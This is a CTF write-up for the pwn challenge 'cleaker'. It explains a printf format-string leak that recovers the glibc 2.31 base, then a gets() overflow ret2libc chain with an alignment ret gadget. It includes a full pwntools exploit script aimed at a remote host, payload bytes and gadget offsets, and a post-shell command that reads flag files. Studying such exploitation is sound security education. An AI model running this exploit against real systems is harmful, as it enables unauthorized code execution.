cleaker (Mic Check 10)
cleaker (Mic Check 10)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: format_string_leak, io_stdin_pointer_leak, libc_base_recovery, ret2libc, stack_alignment_ret_gadget
Summary
Task: NON-PIE x86-64 ELF with a printf(buf) format-string leak followed by a second gets() stack overflow; ASLR is on. Solution: leak IO_2_1_stdin via %3$p to recover libc base, then ret2libc with a single extra ret gadget for 16-byte movaps stack alignment under glibc 2.31.
cleaker (Mic Check 10) — pwn_spbctf
Description
ASLR не помеха, особенно если ты хорошо слушал лекцию. (ASLR is no obstacle, especially if you listened well to the lecture.)
Author: Lex (@b1n4r9). Remote: nc 109.233.56.90 11674. A libc-2.31.so is
provided (md5 1ec728d58f7fc0d302119e9bb53050f8, Ubuntu glibc 2.31).
64-bit x86-64 ELF, NON-PIE (base 0x400000), NX enabled, no stack canary,
Partial RELRO. ASLR is ON for the service, so the libc base is randomized on
every run. Goal: pop a shell and read the flag.
Analysis
main (@0x401152) does the following:
add rsp,-0x80— bufferbufsits atrbp-0x80.printf("Use printf power to find some libc function on stack:").gets(buf)— reads our input.printf(buf)— prints our buffer as the format string → classic format-string leak primitive.putchar('\n').printf("Now use gets power to make your ret2libc:").gets(buf)again — unbounded stack overflow.leave ; ret.
Key facts:
- In-binary gadget
g_pop_rdi@0x4011c0=pop rdi ; ret. A bareretis at0x401016. - Offset from
bufto the saved return address on the secondgetsis0x88(buf@rbp-0x80, saved RIP @rbp+8). - RIP control was verified by overwriting the return with
_start(0x401070): the program restarted and reprinted the first banner.
Because the binary is NON-PIE, all gadgets (pop rdi, ret) have fixed
addresses regardless of ASLR. The only randomized component is libc — which
the format-string leak defeats. This is the "leak then overwrite" pattern
hinted at by "if you listened well to the lecture."
Solution
Stage 1 — defeat ASLR via format-string _IO_2_1_stdin_ leak
Send a format string at the first gets. %3$p leaks a pointer to
_IO_2_1_stdin_ — recognizable because its low 12 bits are 0x980 (it matches
_IO_2_1_stdin_ = 0x1eb980 in the provided libc). Then:
libc_base = leak - 0x1eb980 # must be page-aligned
(%1$p leaks base + 0x1eba03, also inside the stdin FILE struct, which
cross-confirms the base.) Parse the leaked value from the echo that appears
between the two prompts (after "...on stack:", before "...ret2libc:").
Stage 2 — ret2libc
At the second gets, overflow 0x88 bytes and chain:
system = libc_base + 0x55410
binsh = libc_base + 0x1b75aa # "/bin/sh"
payload = b'A'*0x88 + p64(RET=0x401016) + p64(POP_RDI=0x4011c0) + p64(binsh) + p64(system)
The single leading ret (0x401016) is required for 16-byte stack
alignment (see the debugging lesson below). After the shell opens,
cat /flag* yields the flag (service runs as uid=1000(ctf)).
Full solve script (exp_cleaker.py)
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch='amd64'; context.log_level='info' HOST,PORT='109.233.56.90',11674 libc=ELF('cleaker_libc-2.31.so') # md5 1ec728d58f7fc0d302119e9bb53050f8 (Ubuntu glibc 2.31) POP_RDI=0x4011c0 # g_pop_rdi (in-binary, NON-PIE) RET=0x401016 io=remote(HOST,PORT) # stage 1: format-string leak. %3$p leaks _IO_2_1_stdin_ (low12 0x980) -> libc base io.recvuntil(b'on stack:') io.sendline(b'X%3$p') d=io.recvuntil(b'ret2libc:') leak=int(d.split(b'X')[1].split(b'\n')[0],16) base=leak-libc.sym['_IO_2_1_stdin_'] assert base&0xfff==0, hex(base) system=base+libc.sym['system'] binsh=base+next(libc.search(b'/bin/sh\x00')) log.success("base %#x system %#x binsh %#x"%(base,system,binsh)) # stage 2: gets overflow (buf rbp-0x80, ret offset 0x88). Need a ret for 16-byte alignment. payload=b'A'*0x88 + p64(RET) + flat(POP_RDI, binsh, system) io.sendline(payload) import time; time.sleep(0.6) io.sendline(b'cat /flag* 2>/dev/null; cat flag* 2>/dev/null; id') time.sleep(1) print(io.recvrepeat(2).decode(errors='replace'))
Critical debugging lesson — movaps stack alignment
The exploit initially "failed" at every offset (no shell, only the leftover prompt byte) even though RIP control was already verified. The chain addresses were all correct.
Root cause: stack alignment. Inside system() → do_system(), glibc
executes a movaps instruction that faults (SIGSEGV) when rsp is not
16-byte aligned at the call site. The fix is to insert exactly one extra
ret gadget before the ROP chain to shift rsp by 8.
An alignment sweep with 0/1/2/3 leading rets proved the off-by-8 requirement:
| leading rets | result |
|---|---|
| 0 | segfault |
| 1 | shell |
| 2 | segfault |
| 3 | shell |
Takeaway: in a glibc-2.31 ret2libc, always add a single ret gadget for
alignment. If system() crashes despite a verifiably correct chain, suspect
movaps 16-byte misalignment first.